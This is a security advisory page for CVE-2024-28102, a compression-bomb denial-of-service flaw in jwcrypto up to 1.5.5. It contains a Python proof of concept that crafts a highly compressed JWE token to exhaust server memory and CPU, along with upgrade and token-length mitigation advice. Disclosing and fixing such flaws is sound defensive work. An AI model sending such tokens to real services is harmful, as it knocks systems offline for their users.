CVE-2024-28102: JWCrypto vulnerable to JWT bomb Attack in `deserialize` function

Published Mar 6, 2024
·
Updated

Affected version Vendor: https://github.com/latchset/jwcrypto Version: 1.5.5

Description An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this Token, it will consume a lot of memory and processing time.

Poc python from jwcrypto import jwk, jwe from jwcrypto.common import jsonencode, jsondecode import time publickey = jwk.JWK() privatekey = jwk.JWK.generate(kty='RSA', size=2048) publickey.importkey(jsondecode(privatekey.exportpublic()))

payload = '{"u": "' + "u" 400000000 + '", "uu":"' + "u" 400000000 + '"}' protectedheader = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "zip": "DEF", "kid": publickey.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=publickey, protected=protectedheader) enc = jwetoken.serialize(compact=True)

print("-----uncompress-----")

print(len(enc))

begin = time.time()

jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=privatekey)

print(time.time() - begin)

print("-----compress-----")

payload = '{"u": "' + "u" 400000 + '", "uu":"' + "u" 400000 + '"}' protectedheader = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "kid": publickey.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=publickey, protected=protectedheader) enc = jwetoken.serialize(compact=True)

print(len(enc))

begin = time.time()

jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=privatekey)

print(time.time() - begin) It can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer. <img width="172" alt="image" src="https://github.com/latchset/jwcrypto/assets/133195620/23193327-3cd7-499a-b5aa-28c56af92785">

Mitigation To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing attackers from exploiting this vulnerability with high compression ratio tokens.

References [1] CVE-2024-21319

Other sources

JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.

NVD

Affected Software

4 affected componentsFixes available
pip/jwcrypto<=1.5.5
1.5.6
redhat/python-jwcrypto<1.5.6
1.5.6
latchset jwcrypto<1.5.6
Debian Debian Linux=11.0

Event History

Mar 6, 2024
Advisory Published
via GitHub·08:00 PM
CVE Published
via MITRE·09:09 PM
Data Sourced
via MITRE·09:09 PM
DescriptionSeverityWeakness
Mar 10, 2024
Data Sourced
via Red Hat·09:04 AM
DescriptionSeverityAffected Software
Mar 21, 2024
Data Sourced
via NVD·02:52 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·02:52 AM
RemedyAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2024-28102?

CVE-2024-28102 is classified as a denial-of-service vulnerability due to high memory consumption.

2

How do I fix CVE-2024-28102?

To fix CVE-2024-28102, upgrade to version 1.5.6 or later of the jwcrypto package.

3

What types of attacks are possible with CVE-2024-28102?

CVE-2024-28102 enables attackers to perform denial-of-service attacks by submitting malicious JWE Tokens.

4

Which versions are affected by CVE-2024-28102?

Versions up to and including 1.5.5 of the jwcrypto package are affected by CVE-2024-28102.

5

Is there a workaround for CVE-2024-28102 if I cannot update?

There is no recommended workaround for CVE-2024-28102; it is advisable to upgrade to the secure version.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203